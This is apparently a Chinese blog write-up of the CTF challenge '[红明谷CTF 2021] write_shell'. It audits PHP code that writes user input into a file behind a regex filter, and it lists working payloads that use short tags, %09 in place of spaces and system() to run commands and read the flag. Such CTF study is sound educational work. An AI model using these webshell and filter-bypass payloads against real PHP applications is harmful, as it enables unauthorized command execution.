• 练[红明谷CTF 2021]write_shell


    [红明谷CTF 2021]write_shell


    在这里插入图片描述

    掌握知识

    ​ 代码审计,短标签的使用,命令执行一些bypass操作,替换空格,只有一行php代码最后可以不需要分号

    解题思路

    1. 打开题目链接,就看见一屏幕的代码,很明显是代码审计的题目,通过对代码的简单分析,我们可以经过传参将php代码写入到index.php里,在写入代码之前会对php代码进行过滤,上传的目录文件是根据请求头自动生成的。下面就是代码
    
    error_reporting(0);
    highlight_file(__FILE__);
    function check($input){
        if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
            // if(preg_match("/'| |_|=|php/",$input)){
            die('hacker!!!');
        }else{
            return $input;
        }
    }
    
    function waf($input){
      if(is_array($input)){
          foreach($input as $key=>$output){
              $input[$key] = waf($output);
          }
      }else{
          $input = check($input);
      }
    }
    
    $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
    if(!file_exists($dir)){
        mkdir($dir);
    }
    switch($_GET["action"] ?? "") {
        case 'pwd':
            echo $dir;
            break;
        case 'upload':
            $data = $_GET["data"] ?? "";
            waf($data);
            file_put_contents("$dir" . "index.php", $data);
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    代码分析
    1. 接下来进行详细分析,传递的action的参数值为pwd即输出index.php所在的目录,传递upload,会将传入的data的参数值写入到index.php文件,但在此之前需要进入waf函数进行判断
    switch($_GET["action"] ?? "") {
        case 'pwd':
            echo $dir;
            break;
        case 'upload':
            $data = $_GET["data"] ?? "";
            waf($data);
            file_put_contents("$dir" . "index.php", $data);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    1. waf函数主要是判断传入的参数值是否是数组,若是数组会将参数分开分别进入到check函数进行参数过滤
    function waf($input){
      if(is_array($input)){
          foreach($input as $key=>$output){
              $input[$key] = waf($output);
          }
      }else{
          $input = check($input);
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    1. 到了关键的check函数,该函数就是对传入参数进行过滤的函数,很显然过滤了很多比较关键的字符
    对于空格替换的字符还是很多的,可以使用%09 %20进行替换,也可以使用一些特殊符号和变量
    对于过滤_,意味着不能使用一句话木马的格式了
    过滤php字符串,可以使用短标签来进行绕过
    过滤;,根据php代码特性,如果只有一行代码,在最后也可以不需要分号
    过滤eval函数,还可以使用其他函数,比如直接system()函数进行命令执行
    
    • 1
    • 2
    • 3
    • 4
    • 5
    function check($input){
        if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
            // if(preg_match("/'| |_|=|php/",$input)){
            die('hacker!!!');
        }else{
            return $input;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    开始解题
    1. 有了上面的分析过程,paylaod也有了雏形,使用短标签的形式利用system函数进行命令执行/?action=upload&data=查看当前目录的文件。再传入action=pwd查看上传的目录,访问目录下的index.php查看到命令的回显结果

    image-20230930174540105

    image-20230930174631134

    image-20230930174637062

    image-20230930174643585

    1. 再构建paylaod尝试查看根目录下的文件,由于被过滤了空格,可以使用%09进行绕过,再次查看index.php文件发现flag文件

    image-20230930174729538

    image-20230930174807323

    1. 再次修改system的命令参数,使用cat查看flag文件,再访问index.php,拿下flag

    image-20230930174922549

    image-20230930174925525

    关键paylaod

    /?action=pwd
    
    /?action=upload&data=<?=system("ls")?>
    
    /?action=upload&data=<?=system("ls%09/")?>
    
    /?action=upload&data=<?=system("cat%/flllllll1112222222lag")?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
  • 相关阅读:
    北京印刷学院计算机考研资料汇总
    STM32-PWR电源控制
    Linux: C实现动态线程池。
    使用Speech to Text API进行语音到文本转换
    Docker下的SqlServer发布订阅启用
    macOS与Linux:您应该知道的 5 个主要区别
    顺序表漫谈
    ChatGPT/GPT-4 或将从根本上改变软件工程
    Kotlin 中 OkHttp 使用及解析
    深入探索 PaddlePaddle 中的计算图
  • 原文地址:https://blog.csdn.net/m0_66225311/article/details/133497301